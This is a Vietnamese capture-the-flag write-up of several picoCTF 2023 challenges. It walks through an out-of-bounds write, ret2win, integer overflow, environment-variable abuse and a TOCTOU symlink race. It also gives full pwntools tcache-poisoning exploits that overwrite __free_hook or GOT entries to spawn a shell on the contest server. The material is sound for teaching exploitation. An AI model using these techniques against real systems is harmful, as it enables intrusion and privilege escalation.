# (writeup) picoCTF 2023 ## babygame01 - check file: ![](https://i.imgur.com/3UhCSBA.png) `` chúa ghét 32 bit`` - checksec: ![](https://i.imgur.com/2wrQxV0.png) - check ida: - vì là file32 nên ida trên máy decompile hay bị lỗi nên xin phép gửi source copy =)))))) `` chỉ copy những hàm liên quan để khai thác thôi nha `` ```c int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+1h] [ebp-AA5h] int v5[2]; // [esp+2h] [ebp-AA4h] BYREF char v6; // [esp+Ah] [ebp-A9Ch] char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF unsigned int v8; // [esp+A9Ah] [ebp-Ch] int *p_argc; // [esp+A9Eh] [ebp-8h] p_argc = &argc; v8 = __readgsdword(0x14u); init_player((int)v5); init_map((int)v7, v5); print_map((int)v7, (int)v5); signal(2, (__sighandler_t)sigint_handler); do { do { v4 = getchar(); move_player(v5, v4, (int)v7); print_map((int)v7, (int)v5); } while ( v5[0] != '\x1D' ); } while ( v5[1] != 'Y' ); puts("You win!"); if ( v6 ) { puts("flage"); win(); fflush(stdout); } return 0; } ``` - hàm **main** sẽ nhảy vào function **move_player** - ngoài ra trong chính hàm **main** có lun **win** (hướng khai thác chính là đây) ```c _BYTE *__cdecl move_player(int *a1, char a2, int a3) { _BYTE *result; // eax if ( a2 == 'l' ) player_tile = getchar(); if ( a2 == 'p' ) solve_round(a3, a1); *(_BYTE *)(a1[1] + a3 + 90 * *a1) = 46; switch ( a2 ) { case 'w': --*a1; break; case 's': ++*a1; break; case 'a': --a1[1]; break; case 'd': ++a1[1]; break; } result = (_BYTE *)(a1[1] + a3 + 90 * *a1); *result = player_tile; return result; } ``` - và có hàm đặc biệt là **solve_round** ```c int __cdecl solve_round(int a1, int *a2) { int result; // eax while ( a2[1] != 'Y' ) { if ( a2[1] > 'X' ) move_player(a2, 'a', a1); else move_player(a2, 'd', a1); print_map(a1, (int)a2); } while ( *a2 != '\x1D' ) { if ( a2[1] > 28 ) move_player(a2, 115, a1); else move_player(a2, 119, a1); print_map(a1, (int)a2); } sleep(0); result = *a2; if ( *a2 == '\x1D' ) { result = a2[1]; if ( result == 'Y' ) return puts("You win!"); } return result; } ``` - bắt đầu 1 trò chơi thì ta đg đứng ở vị trí 4 4 ![](https://i.imgur.com/dRcTbKj.png) - mục tiêu ta là vị trí 29 89, tức là ta đang là nhân vật ``@``, cần di chuyển đến ``X`` - nhưng như vậy thì ai chả làm được, chỉ với 4 phím 'w', 'a', 's', 'd' hoặc theo source thì 'p' là tự động hoàn thành ván game - win thì win đấy, nhưng đâu cho flag - ngoài ra phía trên ta còn 1 dòng ``player has flag: 0`` - là chưa có flag nên k in flag, có dị thui - hint : `` cố nhân có câu: lùi 1 bước để tiến 3 bước`` - nhìn source phía trên: ```c if ( v6 ) { puts("flage"); win(); fflush(stdout); } ``` - **v6** là con trỏ của mình, tức là **v6** là con ``@`` ```c int v5[2]; // [esp+2h] [ebp-AA4h] BYREF char v6; // [esp+Ah] [ebp-A9Ch] char v7[2700]; // [esp+Eh] [ebp-A98h] BYREF ``` - **v6** nằm trên **v7**, **v7** là mảng in ra bản đồ ta chơi, vậy có nghĩa ta có thể truy cập **v6** bên ngoài **v7** - trước hết ta lui dề vị trí 0 0 ``gửi 'aaaawwww'`` ![](https://i.imgur.com/mhHQX5g.png) - vậy giả sử lui thêm thì sao, lui dùng 'a' - con 'a' đầu tiên gửi vào thì nhân vật ``@`` đã bị ngoài vùng phủ sóng =))))))) ![](https://i.imgur.com/X8fffpx.png) - tiếp tục gửi thêm 'a' thì thấy đến con 'a' thứ 4 kể từ vị trí 0 0 thì ta có dòng này ![](https://i.imgur.com/htdv0E6.png) - gửi thêm thì sao nhỉ? ``core dump`` - vậy ta dừng lại ở đó vì đã có flag trong tay, ta gửi thêm 'p' vào và.... ![](https://i.imgur.com/D2UwyXO.png) - bài này có thể k cần script, nhưng sẽ viết ra để mng theo dõi: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./game',checksec=False) p = process(exe.path) payload = b'aaaawwww' p.sendline(payload) payload = b'aaaap' p.sendline(payload) p.interactive() ``` >picoCTF{gamer_m0d3_enabled_10567bc2} ___ ## two-sum - source code: ```c #include <stdio.h> #include <stdlib.h> static int addIntOvf(int result, int a, int b) { result = a + b; if(a > 0 && b > 0 && result < 0) return -1; if(a < 0 && b < 0 && result > 0) return -1; return 0; } int main() { int num1, num2, sum; FILE *flag; char c; printf("n1 > n1 + n2 OR n2 > n1 + n2 \n"); fflush(stdout); printf("What two positive numbers can make this possible: \n"); fflush(stdout); if (scanf("%d", &num1) && scanf("%d", &num2)) { printf("You entered %d and %d\n", num1, num2); fflush(stdout); sum = num1 + num2; if (addIntOvf(sum, num1, num2) == 0) { printf("No overflow\n"); fflush(stdout); exit(0); } else if (addIntOvf(sum, num1, num2) == -1) { printf("You have an integer overflow\n"); fflush(stdout); } if (num1 > 0 || num2 > 0) { flag = fopen("flag.txt","r"); if(flag == NULL){ printf("flag not found: please run this on the server\n"); fflush(stdout); exit(0); } char buf[60]; fgets(buf, 59, flag); printf("YOUR FLAG IS: %s\n", buf); fflush(stdout); exit(0); } } return 0; } ``` - đọc 1 lần là hiểu lun, lỗi IOF cơ bản - biến **a** và **b** khai báo kiểu _int_ - source đọc ngay phần nhập số và tính tổng đủ hiểu nó khá vô lí rồi kkkkk - nhập 2 số dương r tính tổng, chỉ ra flag khi tổng "nhỏ" hơn 1 trong 2 số mình nhập - nhưng mình sẽ lợi dụng điều này để khiến cho nó đúng - giới hạn của _int_ : ![](https://i.imgur.com/b5A3YWx.png) - vậy để khiến tổng nhỏ hơn thì 2 số cộng lại phải vượt qua ngưỡng thiên đường _int_ kia ``2147483647`` - bởi khi vượt qua ngưỡng đó thì cơ số đếm lại thành 1+ - vậy 2 số ``3`` và ``2147483647`` là sự lựa chọn kha khá hợp lí - bài này có lẽ k cần viết script ![](https://i.imgur.com/0ypyHte.png) >picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1} ___ ## babygame02 - check file ![](https://i.imgur.com/bBOJrsw.png) - checksec ![](https://i.imgur.com/F6k1BFi.png) - check ida `` cũng như trên, copy dán thui nha, nhưng sẽ dán những hàm sẽ có thể khai thác`` ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v4[2]; // [esp+0h] [ebp-AA0h] BYREF char v5[2700]; // [esp+Bh] [ebp-A95h] BYREF char v6; // [esp+A97h] [ebp-9h] int *p_argc; // [esp+A98h] [ebp-8h] p_argc = &argc; init_player(v4); init_map(v5, v4); print_map(v5); signal(2, (__sighandler_t)sigint_handler); do { do { v6 = getchar(); move_player(v4, v6, v5); print_map(v5); } while ( v4[0] != 29 ); } while ( v4[1] != 89 ); puts("You win!"); return 0; } ``` `` về hàm move_player,solve_round cũng tương tự`` `` nhưng hàm win sẽ k display trên main mà func nằm gần main`` `` vì là hàm đọc flag nên ta sẽ ret2win`` - ta sẽ nhập từ từ để xem vị trí nào sẽ là save_eip - đặt breakpoint ở đây (gần ``ret`` của move_player) ![](https://i.imgur.com/q2glHLe.png) - ta thấy địa chỉ hàm **win** vs địa chỉ save_eip chỉ khác nhau 1 byte cuối ![](https://i.imgur.com/ySVheL7.png) ![](https://i.imgur.com/xT4QQew.png) > 0x09 và 0x5d - nhận vật của ta là ký tự '@', tương ứng là 0x40 - có câu lệnh 'l' sẽ đổi người chơi, vậy ta sẽ đổi người chơi từ '@' thành 1 byte cuối của **win** - byte của 0x5d là ']' - vậy cú pháp là ``payload = b'l]'`` ta sẽ gửi đầu tiên - ta sẽ dùng ký tự 'a' để lùi sang trái tiếp tục, đến khi nào ow dc eip sẽ dừng ![](https://cdn.discordapp.com/attachments/1085267207124164608/1086175613636849684/Screenshot_2023-03-17_015127.png) - đến đây ta thấy địa chỉ ``0x5d049709``, ow sắp tới nơi (do địa chỉ trên k có nghĩa nên eip access vào nó sẽ báo lỗi) - vậy payload ta thêm 3 con 'a' vào `` bài này phải debug liên tục để check stack`` ![](https://cdn.discordapp.com/attachments/1085267207124164608/1086184986136297492/Screenshot_2023-03-17_141112.png) - hurray🎉 - chạy tiếp thì ...... ``sigsegv fault`` - hmmmmmmmmmmmmmmmmmmm, có thể .... stack lẻ =))) - (giống bị lỗi xmm kkkkkk) - chứ nhảy vào **win** là thành công r - check tiếp **win** : ``disas win`` ![](https://cdn.discordapp.com/attachments/1085267207124164608/1086185933365321748/Screenshot_2023-03-17_141458.png) - thay vì nhảy vào <win+0> thì ta sẽ nhảy vào <win+28>, nhảy sau mấy cái *nop* quái dị ![](https://i.imgur.com/Cnkd1Zw.png) - vậy ta đổi payload ở ban đầu từ 'l]' sang 'ly' - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./game',checksec=False) #p = process(exe.path) p = remote('saturn.picoctf.net', 59295) payload = b'ly' p.sendline(payload) payload = b'wwwaaaaaaaaaaaaaa' p.sendline(payload) #input() payload = b'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaw' p.sendline(payload) p.interactive() ``` ![](https://i.imgur.com/4PFyQ9J.png) >picoCTF{gamer_jump1ng_4r0unD_8d141e10} ___ ## hijacking - ở bài này k có cho source hay binary j cả - nhận được hint ở description là **tag** ``privillage escalation`` ![](https://i.imgur.com/ZniIfLT.png) - ngoài ra cũng có dc hint exploit kỹ thuật ``privillage escalation`` ấy là 1 [link ytb](https://www.youtube.com/watch?v=0IGRQjAPaoU&list=PL95wzTb6K4yfSsmXDSZyj_e9kWosMGXWx&index=20) - khai thác tương tự ta có flag: ![](https://i.imgur.com/lAQRgmj.png) ![](https://i.imgur.com/XsKmjjr.png) ![](https://i.imgur.com/dCC6Qz9.png) ![](https://i.imgur.com/aFazLkx.png) >picoCTF{pYth0nn_libraryH!j@CK!n9_4c188d27} ___ ## VNE - bài này tương tự leo thang đặc quyền - kết nối và xem thử ![](https://i.imgur.com/PKJzgRJ.png) - báo là chúng ta thiếu biến môi trường ![](https://i.imgur.com/hbdgFOu.png) - không thể khai thác như trên dc - mô tả cho ta hint ![](https://i.imgur.com/EtbWEtx.png) - ta phải tải file **bin** về máy mình và sử dụng ida để check - phương thức: ```scp -P <port> username@host:<path-to-file-on-server> <path-to-file-in-local>``` ![](https://i.imgur.com/M94r9Gl.png) - check ida ![](https://i.imgur.com/qhmDayy.png) ![](https://i.imgur.com/dpn5uUu.png) - ở đây yêu cầu ta phải có biến môi trường SECRET_DIR - nếu không sẽ báo lỗi như trên ![](https://i.imgur.com/PKJzgRJ.png) - tra gg cách tạo biến môi trường... ``` $ SECRET_DIR='-la' $ export SECRET_DIR ``` ![](https://i.imgur.com/aTImY62.png) - hmmm, hay là ta chỉnh lại xíu - hint: ![](https://i.imgur.com/gmn55GC.png) - chỉnh lại nè ![](https://i.imgur.com/misPl6V.png) - hmmm - chỉnh thêm cái nữa ![](https://i.imgur.com/GfOeUQw.png) ![](https://i.imgur.com/2c1eTr6.png) >picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2} ___ ## tic-tac - ở bài này description có hashtag #toctou - check source: ```c #include <iostream> #include <fstream> #include <unistd.h> #include <sys/stat.h> int main(int argc, char *argv[]) { if (argc != 2) { std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl; return 1; } std::string filename = argv[1]; std::ifstream file(filename); struct stat statbuf; // Check the file's status information. if (stat(filename.c_str(), &statbuf) == -1) { std::cerr << "Error: Could not retrieve file information" << std::endl; return 1; } // Check the file's owner. if (statbuf.st_uid != getuid()) { std::cerr << "Error: you don't own this file" << std::endl; return 1; } // Read the contents of the file. if (file.is_open()) { std::string line; while (getline(file, line)) { std::cout << line << std::endl; } } else { std::cerr << "Error: Could not open file" << std::endl; return 1; } return 0; } ``` - khai thác như sau ![](https://i.imgur.com/N4ijC6T.png) - ``txtreader`` là file đọc flag có sẵn, dc compile bằng cource code c++ ``src.cpp`` - ``flag.txt`` sở hữu bởi ``root`` - viết 1 code c, dùng lệnh nano - source: ```c #define _GNU_SOURCE #include <stdio.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #include <linux/fs.h> int main(int argc, char *argv[]) { while (1) { syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE); } return 0; } ``` - compile bằng ``gcc`` ![](https://i.imgur.com/O5hWLHT.png) - tạo 1 text giả trong mục /tmp/asd để kiểm tra ![](https://i.imgur.com/k6nTYvC.png) - tạo 1 thư mục và linking cái ``flag.txt`` vào thư mục đó - lưu ý là linking đường dẫn vào đường dẫn ![](https://i.imgur.com/7M97POn.png) - tất nhiên đọc cái đường dẫn sẽ k dc ![](https://i.imgur.com/6qhcdoM.png) - tạo 1 đường dẫn fake ![](https://i.imgur.com/dGKboK9.png) - chạy file mình đã compile phía trên ![](https://i.imgur.com/anhQewL.png) - lúc này trong hình, ``flag.txt`` sẽ nhảy qua lại giữa 2 thư mục ( có thể đồng thời 2 thư mục đều chứa ``flag.txt``) - bruit force thôi ![](https://i.imgur.com/19sUhZ2.png) >picoCTF{ToctoU_!s_3a5y_107916f2} --- ## Horsetrack - basic file check ![](https://hackmd.io/_uploads/SktxpzFxa.png) - check ida (stripped nên rename lại 1 số function) ![](https://hackmd.io/_uploads/B1IQgHFlp.png) ![](https://hackmd.io/_uploads/H16rgBFg6.png) >**main()** >tạo 1 chunk horse size 0x120 ![](https://hackmd.io/_uploads/SkRe1rKxT.png) > tạo struct cho dễ nhìn ![](https://hackmd.io/_uploads/B1s6nStlT.png) >**secret()** >là option0 >option này là modify ngựa >vị trí, nhập tên (16 bytes) >sửa position >r gắn biến **cheat=1** ![](https://hackmd.io/_uploads/ryKN6rtxT.png) >**add()** >thêm ngựa (vị trí, độ dài tên,tên) >khi nhập tên phải nhập đúng số lượng độ dài tên ![](https://hackmd.io/_uploads/rkZkxHtg6.png) >**remove()** >xoá ngựa ![](https://hackmd.io/_uploads/ByxZbHFl6.png) > option3 : đua ngựa > sẽ check xem mình có từng nhảy vào option0 (biến **cheat**) > các hàm **idk** và **race_over** là làm gì gì đó tính toán (cho cuộc đua) > hàm **move_horse** và **show_horse** sẽ lấy thông tin ngựa và bắt đầu race > cuối cùng lấy thông tin ngựa chiến thắng bằng **get_winner** ### analyse - vì bài này đi kèm libc6 nên sẽ có tcache - trong hàm **add()** ta có thể thêm tối đa 17 con ngựa -> chỉ cần fill đủ là khi **remove()** là vào ubin - và chương trình là kiểu đua ngựa nên có thể là Race Condition - test thử ![](https://hackmd.io/_uploads/BJQ_Q8YgT.png) >tạo 5 ngựa và đua >khi 1 con chiến thắng sẽ in ra "WINNER" >nếu những con ngựa đó chứa các byte khác thì cách để leak hơi khoai >nhưng bù lại animation khi đua hơi cute =))))) - về hàm **get_name** lấy tên cho ngựa thì có 1 "tính năng" ![](https://hackmd.io/_uploads/rkwa5BKga.png) >nếu data cho tên ngựa chứ byte '\xff' thì k cần nhập nhiều >1 byte '\xff' là đủ >nó sẽ k lưu cái data mới mình ow vào - BUG : UAF trong hàm **secret()** ![](https://hackmd.io/_uploads/BJ4TCBKgp.png) > không check ngựa có **in_use** hay không - để mà **malloc()** lại vùng nhớ mình muốn thì bug UAF đó sẽ làm cho mình - nhưng sẽ có cơ chế bảo vệ của tcache khi thay đổi fw_pointer ---> leak heap đầu tiên - để lấy shell ta sẽ ow ``__free_hook`` ### way1: OW free_hook (not work on server) #### leak heap + leak libc - đầu tiên ta cần fill tcache và **free** nó - sau đó fill lại lần nữa với byte '\xff' để không thay đổi dữ liệu nào ```python for i in range(12): add(i,0x100,b'\xff') info("######## --------" + str(i) + "-------- ########") for i in range(11,-1,-1): delete(i) info("######## --------" + str(i) + "-------- ########") for i in range(12): add(i,0x100,b'\xff') info("######## --------" + str(i) + "-------- ########") ``` >dù tcache count có 7, vào ubin là 8 nhưng ta lại cần đến 9 để **malloc** lại từ ubin sẽ vẫn còn ubin -> không bị mất libc_addr từ **main_area** #### tcache poisoning + free_hook - ta sẽ làm việc trên tcache (không trigger DBF được) - thì để thay đổi ``fw_pointer`` ta chỉ còn cách này - ta sẽ cần **malloc()** ra từ ``__free_hook`` - đầu tiên **free()** 2 chunk 1 và 0 - lúc này thứ tự trong bin là: [0] -> [1] ```python target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10) info("target: " + hex(target)) cheat(0,p64(target) + b'\xff') ``` - ta sẽ sử dụng option0 để modify lại chunk - lúc này trong bin: [0] -> ``__free_hook - 0x10`` - việc ta làm tiếp theo là **malloc()** ra chunk đó với data là '/bin/sh\0' - rồi malloc tiếp theo nữa là **system** sau đó **free()** chunk chứa '/bin/sh\0' là có shell ![](https://hackmd.io/_uploads/HyNC1htl6.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./vuln_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-linux-x86-64.so.2",checksec=False) if args.REMOTE: p = remote('saturn.picoctf.net',62849) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x401dbf b*0x40152c b*0x401b32 b*0x40160f b*0x401640 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def add(index,length,name): sla(b'Choice: ',b'1') sla(b'(0-17)?',str(index)) sla(b'(16-256)?',str(length).encode()) sla(b'characters:',name) def delete(index): sla(b'Choice: ',b'2') sla(b'(0-17)?',str(index).encode()) def race(): sla(b'Choice: ',b'3') def cheat(index,name): sla(b'Choice: ',b'0') sla(b'(0-17)?',str(index).encode()) sla(b'characters:',name) sla(b'spot? ',b'0') def leak(): data = p.recvuntil('WINNER: ') leaks = [] for line in data.split(b'\n')[0:10]: #split 10 lines if b'|' not in data: continue line = line.strip(b' |\n\r') #remove space, b'|' and newline info("Line: " + str(line)) leaks.append(u64(line.ljust(8,b'\0'))) leaks = [a for a in leaks if a != 0] #keep only have data print([hex(a) for a in leaks]) first_leak = leaks[-1] #heap second_leak = leaks[-2] #libc info("#############################") return (first_leak,second_leak) for i in range(9): add(i,0x100,b'\xff') info("######## --------" + str(i) + "-------- ########") for i in range(8,-1,-1): delete(i) info("######## --------" + str(i) + "-------- ########") for i in range(9): add(i,0x100,b'\xff') info("######## --------" + str(i) + "-------- ########") race() (heap_leak, libc_leak) = leak() heap_base = heap_leak << 12 info("heap base: " + hex(heap_base)) info("libc leak: " + hex(libc_leak)) libc.address = libc_leak - 0x1bde10 # libc.address = libc_leak - 0x1be040 info("libc base: " + hex(libc.address)) # GDB() delete(1) delete(0) # [0] -> [1] target = (heap_base >> 12) ^ (libc.sym['__free_hook']-0x10) info("target: " + hex(target)) cheat(0,p64(target) + b'\xff') add(10,0x100,b'/bin/sh\0' + b'\xff') payload = b'a'*0x10 payload += p64(exe.sym['system']) add(11,0x100,payload + b'\xff') delete(10) p.interactive() ``` ### way2: OW setbuf@GOT #### leak heap - leak heap sẽ khác một chút so với way1 - ta sẽ khai khác chủ yếu ở 2 chunk đầu (0 và 1) có size 0x10 - và tạo 3 chunk cùng size là 0x18 > do muốn đua cần 5 con ngựa ```python add(5,0x18, b'X'*0x18) add(6,0x18, b'Y'*0x18) add(7,0x18, b'Z'*0x18) add(0,0x10, b'A'*0x10) add(1,0x10, b'B'*0x10) ``` - sau đó ta chỉ cần **free()** 2 chunk 0 và 1 và tạo lại ```python delete(0) delete(1) #leak info heap add(1,0x10, b"\xff") #not ow fd_pointer add(0,0x10, b'A'*0x10) ``` - **race** là leak được heap pointer - nhưng sẽ qua 1 bước là xor để trỏ về chunk trước đó ```python def prev(ptr): prev_ptr = (ptr >> 12) ^ ptr return (prev_ptr >> 24) ^ prev_ptr ``` #### GOT layout - ta sẽ nhắm đến cơ chế của **setbuf()** là sẽ set 3 cái **stdin** **stdout** và **stderr** - tức là sẽ đưa **stderr** (target) vào hàm **setbuf()** và "do stuff" - vậy ta chỉ cần **stderr** là 'sh' - GOT của **setbuf()** là **system()** là có shell - nhưng để nhảy tới bước setup của **setbuf()** ta nhắm đến hàm **printf()** khi kết thúc 1 giai đoạn của chương trình ![](https://hackmd.io/_uploads/BJPaCiqgT.png) - target: bắt đầu ghi vào địa chỉ ``0x404040`` ``payload = p64(A) + p64(B) + p64(C)`` > với A là system@plt (setbuf@GOT) > với B là system@plt (system@GOT) > với C là địa chỉ trỏ đến lúc đưa **stderr** vào và call **setbuf()** (printf@GOT) #### ow stderr = 'sh' - ow bằng tcache poisoning như bình thường - ``stderr`` = 0x4040e0 sẽ chứa 0x4040e8 trỏ đến 'sh' ```python delete(0) delete(1) # [1] -> [0] target = exe.sym['stderr'] info("target: " + hex(target)) payload = p64((ptr >> 12) ^ target) cheat(1, payload + b'\xff') add(1,0x10, b"A" * 0x10) #take out payload = p64(target + 8) payload += b'sh'.ljust(8,b'\0') add(0,0x10, payload + b'\xff') #write # now stderr point -> "sh" ``` #### ow GOT (setbuf, system, printf) - tương tự như thế nhưng sẽ ở chunk khác ```python delete(5) delete(6) # [6] -> [5] target = exe.got["setbuf"] # 0x404040 info("target: " + hex(target)) payload = p64((ptr >> 12) ^ target) cheat(6, payload + b'\xff') add(6,0x18, b'A'*0x18) #take out # got table layout: setbuf, system, printf resolve_system = exe.plt['system']+6 add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90)) ``` ![](https://hackmd.io/_uploads/Hkzibn9x6.png) >địa chỉ sẽ nhảy về: 0x401b90 ![](https://hackmd.io/_uploads/rJ3no9qx6.png) >nhảy ở plt+6 ### get flag ![](https://hackmd.io/_uploads/S1LpMncgT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF("./vuln_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-linux-x86-64.so.2",checksec=False) if args.REMOTE: p = remote('saturn.picoctf.net',56744) else: p = process(exe.path) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*0x401dbf b*0x40152c b*0x401b32 b*0x40160f b*0x401640 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) def add(index,length,name): sla(b'Choice: ',b'1') sla(b'(0-17)?',str(index).encode()) sla(b'(16-256)?',str(length).encode()) sla(b'characters:',name) def delete(index): sla(b'Choice: ',b'2') sla(b'(0-17)?',str(index).encode()) def race(): sla(b'Choice: ',b'3') def cheat(index,name): sla(b'Choice: ',b'0') sla(b'(0-17)?',str(index).encode()) sla(b'characters:',name) sla(b'spot? ',b'0') def prev(ptr): prev_ptr = (ptr >> 12) ^ ptr return (prev_ptr >> 24) ^ prev_ptr def show(idx): data = p.recvuntil('WINNER: ') leaks = [] for line in data.split(b'\n')[1:10]: #split lines if b'|' not in data: continue line = line.strip(b' |\n\r') #remove space, b'|' and newline info("Line: " + str(line)) leaks.append(line) leaks = [a for a in leaks if a != 0] #keep only have data print(leaks) first_leak = leaks[idx] info("#############################") return (first_leak) add(5,0x18, b'X'*0x18) add(6,0x18, b'Y'*0x18) add(7,0x18, b'Z'*0x18) add(0,0x10, b'A'*0x10) add(1,0x10, b'B'*0x10) delete(0) delete(1) #leak info heap add(1,0x10, b"\xff") add(0,0x10, b'A'*0x10) race() leak = show(1) leak = u32(leak.ljust(4,b'\0')) info("leaking: " + hex(leak)) # GDB() ptr = prev(leak) info("need: " + hex(ptr)) # points to name for chunk 0 delete(0) delete(1) # [1] -> [0] target = exe.sym['stderr'] info("target: " + hex(target)) payload = p64((ptr >> 12) ^ target) cheat(1, payload + b'\xff') add(1,0x10, b"A" * 0x10) #take out payload = p64(target + 8) payload += b'sh'.ljust(8,b'\0') add(0,0x10, payload + b'\xff') #write # now stderr point -> "sh" delete(5) delete(6) # [6] -> [5] target = exe.got["setbuf"] # 0x404040 info("target: " + hex(target)) payload = p64((ptr >> 12) ^ target) cheat(6, payload + b'\xff') GDB() add(6,0x18, b'A'*0x18) #take out # got table layout: setbuf, system, printf resolve_system = exe.plt['system']+6 add(5,0x18, p64(resolve_system) * 2 + p64(0x401b90)) p.interactive() #picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_4c03b907} ``` > picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d} ---